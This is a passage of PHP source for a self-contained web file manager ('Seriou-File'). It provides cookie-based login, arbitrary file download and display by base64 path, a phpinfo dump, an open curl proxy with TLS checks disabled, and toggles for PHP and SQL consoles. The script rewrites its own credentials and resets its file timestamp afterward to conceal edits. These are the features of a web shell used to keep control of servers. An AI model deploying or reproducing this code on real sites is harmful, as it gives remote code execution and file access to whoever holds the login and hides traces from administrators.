	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>Seriou-File</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezUvOUZj8H45hx+Jx0TgnnKKeX836K3hTvKeIpG6Y0TLkxZVxrqpaXllirSKtRq0frvTau7aedpr1Fu1n7gQ5Bx0onXCdHZ4/OBZ3nU9lT3acKpxZNPTr1ri6qa6UbobtEd79up+6Ynr5egJ5Mb6feeb3n+hx9L/1U/W36p/VHDFgGswwkBtsMzhg8xTVxbzwdL8fb8VFDXcNAQ6VhlWGX4YSRudE8o9VGjUYPjGnGXOMk423GbcajJgYmISZLTepN7ppSTbmmKaY7TDtMx83MzaLN1pk1mz0x1zLnm+eb15vft2BaeFostqi2uGVJsuRaplnutrxuhVo5WaVYVVpds0atna0l1rutu6cRp7lOk06rntZnw7Dxtsm2qbcZsOXYBtuutm22fWFnYhdnt8Wuw+6TvZN9un2N/T0HDYfZDqsdWh1+c7RyFDpWOt6azpzuP33F9JbpL2dYzxDP2DPjthPLKcRpnVOb00dnF2e5c4PziIuJS4LLLpc+Lpsbxt3IveRKdPVxXeF60vWdm7Obwu2o26/uNu5p7ofcn8w0nymeWTNz0MPIQ+BR5dE/C5+VMGvfrH5PQ0+BZ7XnIy9jL5FXrdewt6V3qvdh7xc+9j5yn+M+4zw33jLeWV/MN8C3yLfLT8Nvnl+F30N/I/9k/3r/0QCngCUBZwOJgUGBWwL7+Hp8Ib+OPzrbZfay2e1BjKC5QRVBj4KtguXBrSFoyOyQrSH355jOkc5pDoVQfujW0Adh5mGLw34MJ4WHhVeGP45wiFga0TGXNXfR3ENz30T6RJZE3ptnMU85ry1KNSo+qi5qPNo3ujS6P8YuZlnM1VidWElsSxw5LiquNm5svt/87fOH4p3iC+N7F5gvyF1weaHOwvSFpxapLhIsOpZATIhOOJTwQRAqqBaMJfITdyWOCnnCHcJnIi/RNtGI2ENcKh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMTg5XEETAAAB8klEQVQ4y3WSMW/TQBiGn++7sx3XddMAIm0nkCohRQiJDSExdAl/ATEwIPEzkFiYYGRlyMyGxMLExFhByy9ACAaa0gYnDol9x9DYiVs46dPnk/w+9973ngDJ/v7++yAICj+fI0HA/5ZzDu89zjmOjo6yfr//wAJBr9e7G4YhxWSCRFH902qVZdnYx3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
